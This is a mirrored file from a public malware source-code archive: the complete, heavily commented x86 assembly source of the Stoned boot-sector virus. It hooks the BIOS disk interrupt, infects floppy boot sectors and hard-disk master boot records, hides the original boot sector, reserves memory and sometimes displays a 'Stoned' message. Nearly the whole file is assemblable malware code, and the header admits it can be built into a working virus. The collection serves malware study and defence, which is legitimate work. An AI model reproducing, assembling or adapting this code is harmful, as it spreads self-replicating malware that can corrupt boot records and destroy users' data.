mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
533 lines
20 KiB
NASM
533 lines
20 KiB
NASM
|
TITLE STONBOOT 1-4-80 [5-12-90]
|
|||
|
|
|||
|
PAGE 27,132
|
|||
|
|
|||
|
;*****************************************************************************
|
|||
|
;
|
|||
|
; *** NOT FOR GENERAL DISTRIBUTION *** The Stoned Virus
|
|||
|
;
|
|||
|
; This file is for the purpose of virus study only! It should not be passed
|
|||
|
; around among the general public. It will be very useful for learning
|
|||
|
; how viruses work and propagate. But anybody with access to an assembler
|
|||
|
; can turn it into a working virus and anybody with a bit of assembly coding
|
|||
|
; experience can turn it into a far more malevolent program than it already
|
|||
|
; is. Keep this code in reasonable hands!
|
|||
|
;
|
|||
|
; This is a boot sector virus, and an extremely tiny one. It occupies only a
|
|||
|
; single sector. On a diskette, it resides in the boot sector, and on a hard
|
|||
|
; disk resides in the mastor boot record. It can be installed on a 5 1/4 inch
|
|||
|
; diskette by copying the real boot sector to side 1, track 0, sector 3. This
|
|||
|
; is the last sector used by the directory, and is usually not used. If the
|
|||
|
; directory ever does expand into this area, then the real boot sector will be
|
|||
|
; trashed, and the diskette will no longer be bootable. Once the boot sector
|
|||
|
; is copied to the directory area, this code goes into the boot sector space
|
|||
|
; at side 0, track 0, sector 1. The system is then transferred to the diskette
|
|||
|
; and the diskette contains an activated virus. Once this diskette is used to
|
|||
|
; boot up a system, it will become resident and infect other diskettes it
|
|||
|
; sees. If the system contains a hard drive, it too will become infected.
|
|||
|
;
|
|||
|
; This virus does not contain any time bomb, but it can cause loss of data by
|
|||
|
; wrecking a directory here or there.
|
|||
|
;*****************************************************************************
|
|||
|
|
|||
|
|
|||
|
LF EQU 0AH
|
|||
|
CR EQU 0DH
|
|||
|
|
|||
|
XSEG SEGMENT AT 07C0h
|
|||
|
ORG 5
|
|||
|
NEWSEG LABEL FAR
|
|||
|
XSEG ENDS
|
|||
|
|
|||
|
CODE SEGMENT
|
|||
|
ASSUME DS:CODE, SS:CODE, CS:CODE, ES:CODE
|
|||
|
ORG 0
|
|||
|
|
|||
|
|
|||
|
;*****************************************************************************
|
|||
|
; Execution begins here as a boot record. This means that its location and
|
|||
|
; CS:IP will be 0000:7C00. The following two JMP instructions accomplish only
|
|||
|
; a change in CS:IP so that CS is 07C0. The following two JMPs, and the
|
|||
|
; segment definition of XSEG above are best not tampered with.
|
|||
|
;*****************************************************************************
|
|||
|
|
|||
|
|
|||
|
JMP FAR PTR NEWSEG ;This is exactly 5 bytes long. Don't change it
|
|||
|
|
|||
|
;The above line will jump to here, with a CS of 07C0 and an IP of 5
|
|||
|
|
|||
|
JMP JPBOOT ;Jump here at boot up time
|
|||
|
|
|||
|
|
|||
|
;*****************************************************************************
|
|||
|
; The following offsets:
|
|||
|
; D_TYPE
|
|||
|
; O_13_O
|
|||
|
; O_13_S
|
|||
|
; J_AD_O
|
|||
|
; J_AD_S
|
|||
|
; BT_ADD
|
|||
|
; will be used to access their corresponding variables throughout the code.
|
|||
|
; They will vary in different parts of the code, since the code relocates
|
|||
|
; itself and the values in the segment registers will change. The actual
|
|||
|
; variables are defined with a leading underscore, and should not be used. As
|
|||
|
; the segment registers, and the offsets used to access them, change in the
|
|||
|
; code, the offsets will be redefined with "=" operators. At each point, the
|
|||
|
; particular segment register override needed to access the variables will be
|
|||
|
; given.
|
|||
|
;
|
|||
|
; In this area, the variables should be accessed with the CS: segment override.
|
|||
|
;******************************************************************************
|
|||
|
|
|||
|
D_TYPE = $ ;The type of disk we are booting from
|
|||
|
_D_TYPE DB 0
|
|||
|
|
|||
|
OLD_13 EQU $
|
|||
|
O_13_O = $ ;Old INT 13 vector offset
|
|||
|
_O_13_O DW ?
|
|||
|
|
|||
|
O_13_S = $ ;Old INT 13 vector segment
|
|||
|
_O_13_S DW ?
|
|||
|
|
|||
|
JMP_ADR EQU $
|
|||
|
J_AD_O = $ ;Offset of the jump to relocated code
|
|||
|
_J_AD_O DW OFFSET HI_JMP
|
|||
|
|
|||
|
J_AD_S = $ ;Segment of the jump to the relocated code
|
|||
|
_J_AD_S DW ?
|
|||
|
|
|||
|
|
|||
|
BT_ADD = $ ;Fixed address 0:7C00. Jump addr to boot sector
|
|||
|
_BT_ADD DW 7C00h ;Boot address segment
|
|||
|
DW 0000h ;Boot address offset
|
|||
|
|
|||
|
|
|||
|
|
|||
|
;**********************************************************
|
|||
|
; The INT 13H vector gets hooked to here
|
|||
|
;**********************************************************
|
|||
|
|
|||
|
NEW_13: PUSH DS
|
|||
|
PUSH AX
|
|||
|
CMP AH,2
|
|||
|
JB REAL13 ;Restore regs & do real INT 13H
|
|||
|
|
|||
|
CMP AH,4
|
|||
|
JNB REAL13 ;Restore regs & do real INT 13H
|
|||
|
|
|||
|
;*****************************************************************
|
|||
|
; We only get here for service 2 or 3 - Disk read or write
|
|||
|
;*****************************************************************
|
|||
|
|
|||
|
OR DL,DL
|
|||
|
JNZ REAL13 ;Restore regs & do real INT 13H
|
|||
|
|
|||
|
;*****************************************************************
|
|||
|
; And we only get here if it's happening to drive A:
|
|||
|
;*****************************************************************
|
|||
|
|
|||
|
XOR AX,AX
|
|||
|
MOV DS,AX
|
|||
|
MOV AL,DS:43FH
|
|||
|
TEST AL,1 ;Check to see if drive motor is on
|
|||
|
JNZ REAL13 ;Restore regs & do real INT 13H
|
|||
|
|
|||
|
;******************************************************************
|
|||
|
; We only get here if the drive motor is on.
|
|||
|
;******************************************************************
|
|||
|
|
|||
|
CALL INFECT ;Try to infect the disk
|
|||
|
|
|||
|
;******************************************************************
|
|||
|
; Restore regs & do real INT 13H
|
|||
|
;******************************************************************
|
|||
|
|
|||
|
REAL13: POP AX
|
|||
|
POP DS
|
|||
|
JMP DWORD PTR CS:OLD_13
|
|||
|
|
|||
|
|
|||
|
|
|||
|
;**************************************************************
|
|||
|
;*** See if we can infect the disk ***
|
|||
|
;**************************************************************
|
|||
|
|
|||
|
INFECT PROC NEAR
|
|||
|
|
|||
|
PUSH BX
|
|||
|
PUSH CX
|
|||
|
PUSH DX
|
|||
|
PUSH ES
|
|||
|
PUSH SI
|
|||
|
PUSH DI
|
|||
|
MOV SI,4 ;We'll try up to 4 times to read it
|
|||
|
|
|||
|
;***************************************************************
|
|||
|
; Loop to try reading disk sector
|
|||
|
;***************************************************************
|
|||
|
|
|||
|
RDLOOP: MOV AX,201H ;Read one sector...
|
|||
|
PUSH CS
|
|||
|
POP ES
|
|||
|
MOV BX,200H ;...into a space at the end of the code
|
|||
|
XOR CX,CX
|
|||
|
MOV DX,CX ;Side 0, drive A
|
|||
|
INC CX ;Track 0, sector 1
|
|||
|
PUSHF
|
|||
|
CALL DWORD PTR CS:OLD_13 ;Do the old INT 13
|
|||
|
|
|||
|
JNB RD_OK ;Disk read was OK
|
|||
|
|
|||
|
XOR AX,AX
|
|||
|
PUSHF
|
|||
|
CALL DWORD PTR CS:OLD_13 ;Reset disk
|
|||
|
|
|||
|
DEC SI ;Bump the counter
|
|||
|
JNZ RDLOOP ;Loop to try reading disk sector
|
|||
|
JMP SHORT QUIT ;Close up and return if all 4 tries failed
|
|||
|
|
|||
|
NOP
|
|||
|
|
|||
|
;******************************************************************************
|
|||
|
; Here if disk read was OK. We got the boot sector. But is it already infected?
|
|||
|
; Find out by comparing the first 4 bytes of the boot sector to the first 4
|
|||
|
; bytes of this code. If they don't match exactly, infect the diskette.
|
|||
|
;******************************************************************************
|
|||
|
|
|||
|
RD_OK: XOR SI,SI
|
|||
|
MOV DI,200H
|
|||
|
CLD
|
|||
|
PUSH CS
|
|||
|
POP DS
|
|||
|
LODSW
|
|||
|
CMP AX,[DI]
|
|||
|
JNZ HIDEIT ;Hide floppy boot sector in directory
|
|||
|
|
|||
|
LODSW
|
|||
|
CMP AX,[DI+2]
|
|||
|
JZ QUIT ;Close up and return
|
|||
|
|
|||
|
;************************************************************
|
|||
|
; Infect - Hide floppy boot sector in directory
|
|||
|
;************************************************************
|
|||
|
|
|||
|
HIDEIT: MOV AX,301H ;Write 1 sector
|
|||
|
MOV BX,200H ;From the space at the end of this code
|
|||
|
MOV CL,3 ;To sector 3
|
|||
|
MOV DH,1 ;Side 1
|
|||
|
PUSHF
|
|||
|
CALL DWORD PTR CS:OLD_13 ;Do the old INT 14
|
|||
|
JB QUIT ;Close up and return if failed
|
|||
|
|
|||
|
;******************************************************************
|
|||
|
; If write was sucessful, write this code to the boot sector area
|
|||
|
;******************************************************************
|
|||
|
|
|||
|
MOV AX,301H ;Write 1 sector ...
|
|||
|
XOR BX,BX ;...of this very code...
|
|||
|
MOV CL,1 ;...to sector 1...
|
|||
|
XOR DX,DX ;...of Side 0, drive A
|
|||
|
PUSHF
|
|||
|
CALL DWORD PTR CS:OLD_13 ;Do an old INT 13
|
|||
|
|
|||
|
; ***NOTE*** no test has been done for a sucessful write.
|
|||
|
|
|||
|
;***************************************************************
|
|||
|
; Close up and return
|
|||
|
;***************************************************************
|
|||
|
|
|||
|
QUIT: POP DI
|
|||
|
POP SI
|
|||
|
POP ES
|
|||
|
POP DX
|
|||
|
POP CX
|
|||
|
POP BX
|
|||
|
RET
|
|||
|
|
|||
|
INFECT ENDP
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
;****************************************************************
|
|||
|
;*** Jump here at boot up time
|
|||
|
;****************************************************************
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
;*****************************************************************************
|
|||
|
; Redefine the variable offsets. The code here executes in the memory area
|
|||
|
; used by the normal boot sector. The variable offsets have an assembled
|
|||
|
; value of the order 7Cxx. Access them here through the DS: segment override
|
|||
|
;*****************************************************************************
|
|||
|
|
|||
|
|
|||
|
D_TYPE = 07C00h + OFFSET _D_TYPE
|
|||
|
O_13_O = 07C00h + OFFSET _O_13_O
|
|||
|
O_13_S = 07C00h + OFFSET _O_13_S
|
|||
|
J_AD_O = 07C00h + OFFSET _J_AD_O
|
|||
|
J_AD_S = 07C00h + OFFSET _J_AD_S
|
|||
|
BT_ADD = 07C00h + OFFSET _BT_ADD
|
|||
|
|
|||
|
|
|||
|
|
|||
|
JPBOOT: XOR AX,AX
|
|||
|
MOV DS,AX ;DS = 0
|
|||
|
|
|||
|
;*********************************************************
|
|||
|
; Set up a usable stack
|
|||
|
;*********************************************************
|
|||
|
|
|||
|
CLI
|
|||
|
MOV SS,AX ;SS = 0
|
|||
|
MOV SP,OFFSET 7C00H ;Position stack at 0000:7C00
|
|||
|
STI
|
|||
|
|
|||
|
;*********************************************************
|
|||
|
; Capture the INT 13 vector (BIOS disk I/O)
|
|||
|
;*********************************************************
|
|||
|
|
|||
|
MOV AX,DS:4CH ;Offset for old INT 13 vector
|
|||
|
MOV DS:O_13_O,AX ;Save the offset
|
|||
|
MOV AX,DS:4EH ;Segment for old INT 13 vector
|
|||
|
MOV DS:O_13_S,AX ;Save the segment
|
|||
|
|
|||
|
;*****************************************************************************
|
|||
|
; Decrease the memory available to DOS by 2K. Only 1K really seems needed, but
|
|||
|
; stealing an odd number of K would result in an odd number shown available
|
|||
|
; when a CHKDSK is run. This might be too obvious. Or the programmer may have
|
|||
|
; had other plans for the memory.
|
|||
|
;*****************************************************************************
|
|||
|
|
|||
|
MOV AX,DS:413H ;BIOS' internal count of available memory
|
|||
|
DEC AX
|
|||
|
DEC AX ;Drop it by 2K ...
|
|||
|
MOV DS:413H,AX ;...and store it (steal it!!)
|
|||
|
|
|||
|
;*********************************************************
|
|||
|
; Find the segment of the stolen memory
|
|||
|
;*********************************************************
|
|||
|
|
|||
|
MOV CL,6
|
|||
|
SHL AX,CL
|
|||
|
MOV ES,AX
|
|||
|
|
|||
|
;*********************************************************
|
|||
|
; Use the segment of the stolen memory area
|
|||
|
;*********************************************************
|
|||
|
|
|||
|
MOV DS:J_AD_S,AX ;Becomes part of a JMP address
|
|||
|
MOV AX,OFFSET NEW_13
|
|||
|
MOV DS:4CH,AX ;Offset for new INT 13
|
|||
|
MOV DS:4EH,ES ;Segment for new INT 13
|
|||
|
|
|||
|
;****************************************************************
|
|||
|
;Copy the code from 07C0:0000 to ES:0000 (the stolen memory area)
|
|||
|
;****************************************************************
|
|||
|
|
|||
|
MOV CX,OFFSET END_BYT ;The size of the code (# of bytes to move)
|
|||
|
PUSH CS
|
|||
|
POP DS ;DS = CS
|
|||
|
XOR SI,SI
|
|||
|
MOV DI,SI ;All offsets of block move areas are 0
|
|||
|
CLD
|
|||
|
REPZ MOVSB ;Copy each byte of code to the top of memory
|
|||
|
JMP DWORD PTR CS:JMP_ADR ;JMP to the transferred code...
|
|||
|
|
|||
|
|
|||
|
|
|||
|
;**************************************************************
|
|||
|
; ...and we'll jump right here, to the transferred code
|
|||
|
;**************************************************************
|
|||
|
|
|||
|
|
|||
|
|
|||
|
;****************************************************************************
|
|||
|
; Redefine variable offsets again. This code executes at the top of memory,
|
|||
|
; and so the exact value of the segment registers depends on how much memory
|
|||
|
; is installed. The variable offsets have an assembled value of the order of
|
|||
|
; 00xx. They are accessed using the CS: segment override
|
|||
|
;****************************************************************************
|
|||
|
|
|||
|
D_TYPE = OFFSET _D_TYPE
|
|||
|
O_13_O = OFFSET _O_13_O
|
|||
|
O_13_S = OFFSET _O_13_S
|
|||
|
J_AD_O = OFFSET _J_AD_O
|
|||
|
J_AD_S = OFFSET _J_AD_S
|
|||
|
BT_ADD = OFFSET _BT_ADD
|
|||
|
|
|||
|
|
|||
|
HI_JMP: MOV AX,0
|
|||
|
INT 13H ;Reset disk system
|
|||
|
|
|||
|
;**********************************************************************
|
|||
|
; This will read one sector into 0000:7C00 (the boot sector address)
|
|||
|
;**********************************************************************
|
|||
|
|
|||
|
XOR AX,AX
|
|||
|
MOV ES,AX
|
|||
|
MOV AX,201H ;Read one sector
|
|||
|
MOV BX,OFFSET 7C00H ;To boot sector area: 0000:7C00
|
|||
|
CMP BYTE PTR CS:D_TYPE,0 ;Booting from diskette or hard drive?
|
|||
|
|
|||
|
JZ DISKET ;If booting from a diskette
|
|||
|
|
|||
|
;******************************************************
|
|||
|
; Booting from a hard drive
|
|||
|
;******************************************************
|
|||
|
|
|||
|
MOV CX,7 ;Track 0, sector 7
|
|||
|
MOV DX,80H ;Hard drive, side 0
|
|||
|
INT 13H ;Go get it
|
|||
|
|
|||
|
; ***NOTE** There was no check as to wether or not the read was sucessful
|
|||
|
|
|||
|
JMP SHORT BOOTUP ;Go run the real boot sector we've installed
|
|||
|
|
|||
|
NOP
|
|||
|
|
|||
|
;******************************************************
|
|||
|
; Booting from a diskette
|
|||
|
;******************************************************
|
|||
|
|
|||
|
DISKET: MOV CX,3 ;Track 0, sector 3
|
|||
|
MOV DX,100H ;A drive, side 1 (last sector of the directory)
|
|||
|
INT 13H ;Go get it
|
|||
|
JB BOOTUP ;If read error, run it anyway.(???) (A prank?)
|
|||
|
|
|||
|
;****************************************************************
|
|||
|
;Wether or not we print the "Stoned" message depends on the value
|
|||
|
; of a byte in the internal clock time -- a fairly random event.
|
|||
|
;****************************************************************
|
|||
|
|
|||
|
TEST BYTE PTR ES:46CH,7 ;Test a bit in the clock time
|
|||
|
JNZ GETHDB ;Get Hard drive boot sector
|
|||
|
|
|||
|
;**************************************************************
|
|||
|
; Print the message
|
|||
|
;**************************************************************
|
|||
|
|
|||
|
MOV SI,OFFSET S_MSG ;Address of the "stoned message"
|
|||
|
PUSH CS
|
|||
|
POP DS
|
|||
|
|
|||
|
;**************************************************************
|
|||
|
; Loop to print individual characters
|
|||
|
;**************************************************************
|
|||
|
|
|||
|
PRINT1: LODSB
|
|||
|
OR AL,AL ;A 00 byte means quit the loop
|
|||
|
JZ GETHDB ;Get Hard drive boot sector, then
|
|||
|
|
|||
|
;**************************************************************
|
|||
|
; Not done looping. Print another character
|
|||
|
;**************************************************************
|
|||
|
|
|||
|
MOV AH,0EH
|
|||
|
MOV BH,0
|
|||
|
INT 10H
|
|||
|
JMP SHORT PRINT1 ;Print a character on screen
|
|||
|
|
|||
|
|
|||
|
;**************************************************************
|
|||
|
; Get Hard drive boot sector
|
|||
|
;**************************************************************
|
|||
|
|
|||
|
GETHDB: PUSH CS
|
|||
|
POP ES
|
|||
|
MOV AX,201H ;Read one sector...
|
|||
|
MOV BX,200H ;...to the buffer following this code...
|
|||
|
MOV CL,1 ;...from sector 1...
|
|||
|
MOV DX,80H ;...side 0, of the hard drive
|
|||
|
INT 13H
|
|||
|
JB BOOTUP ;If error, assume no hard drive
|
|||
|
; So go run the floppy boot sector
|
|||
|
|
|||
|
;***************************************************************************
|
|||
|
; If no read error, then there really must be a hard drive. Infect it. The
|
|||
|
; following code uses the same trick above where the first 4 bytes of the
|
|||
|
; boot sector are compared to the first 4 bytes of this code. If they don't
|
|||
|
; match exactly, then this hard drive isn't infected.
|
|||
|
;***************************************************************************
|
|||
|
|
|||
|
PUSH CS
|
|||
|
POP DS
|
|||
|
MOV SI,200H
|
|||
|
MOV DI,0
|
|||
|
LODSW
|
|||
|
CMP AX,[DI]
|
|||
|
JNZ HIDEHD ;Hide real boot sector in hard drive
|
|||
|
|
|||
|
LODSW
|
|||
|
CMP AX,[DI+2]
|
|||
|
JNZ HIDEHD ;Hide real boot sector in hard drive
|
|||
|
|
|||
|
;**************************************************************
|
|||
|
; Go run the real boot sector
|
|||
|
;**************************************************************
|
|||
|
|
|||
|
BOOTUP: MOV BYTE PTR CS:D_TYPE,0
|
|||
|
JMP DWORD PTR CS:BT_ADD
|
|||
|
|
|||
|
;**************************************************************
|
|||
|
; Infect - Hide real boot sector in hard drive
|
|||
|
;**************************************************************
|
|||
|
|
|||
|
HIDEHD: MOV BYTE PTR CS:D_TYPE,2 ;Mark this as a hard drive infection
|
|||
|
MOV AX,301H ;Write i sector...
|
|||
|
MOV BX,200H ;...from the buffer following this code...
|
|||
|
MOV CX,7 ;...to track 0, sector 7...
|
|||
|
MOV DX,80H ;...side 0, of the hard drive...
|
|||
|
INT 13H ;Do it
|
|||
|
JB BOOTUP ;Go run the real boot sector if failed
|
|||
|
|
|||
|
;**************************************************
|
|||
|
; Here if the boot sector got written successfully
|
|||
|
;***************************************************
|
|||
|
|
|||
|
PUSH CS
|
|||
|
POP DS
|
|||
|
PUSH CS
|
|||
|
POP ES
|
|||
|
MOV SI,3BEH ;Offset of disk partition table in the buffer
|
|||
|
MOV DI,1BEH ;Copy it to the same offset in this code
|
|||
|
MOV CX,242H ;Strange. Only need to move 42H bytes. This
|
|||
|
; won't hurt, and will overwrite the copy of
|
|||
|
; the boot sector, maybe giving a bit more
|
|||
|
; concealment.
|
|||
|
REPZ MOVSB ;Move them
|
|||
|
MOV AX,301H ;Write 1 sector...
|
|||
|
XOR BX,BX ;...of this code...
|
|||
|
INC CL ;...into sector 1
|
|||
|
INT 13H
|
|||
|
|
|||
|
; ***NOTE*** no check for a sucessful write
|
|||
|
|
|||
|
JMP BOOTUP ;Now run the real boot sector
|
|||
|
|
|||
|
S_MSG DB 7,'Your PC is now Stoned!',7,CR,LF
|
|||
|
DB LF
|
|||
|
|
|||
|
;*************************************************************************
|
|||
|
; Just garbage. In one version, this contained an extension of the above
|
|||
|
; string, saying "LEGALIZE MARIJUANA". Some portions of this text remain
|
|||
|
;*************************************************************************
|
|||
|
|
|||
|
DB 0,4CH,45H,47H,41H
|
|||
|
DB 4CH,49H,53H,45H,67H
|
|||
|
DB 2,4,68H,2,68H
|
|||
|
DB 2,0BH,5,67H,2
|
|||
|
|
|||
|
END_BYT EQU $ ;Used to determine the size of the code. It
|
|||
|
; must be less than 1BE, or this code is too
|
|||
|
; large to be used to infect hard disks. From
|
|||
|
; offset 1BE and above, the hard disk partition
|
|||
|
; table will be copied, and anything placed
|
|||
|
; there will get clobbered.
|
|||
|
|
|||
|
CODE ENDS
|
|||
|
|
|||
|
END
|
|||
|
|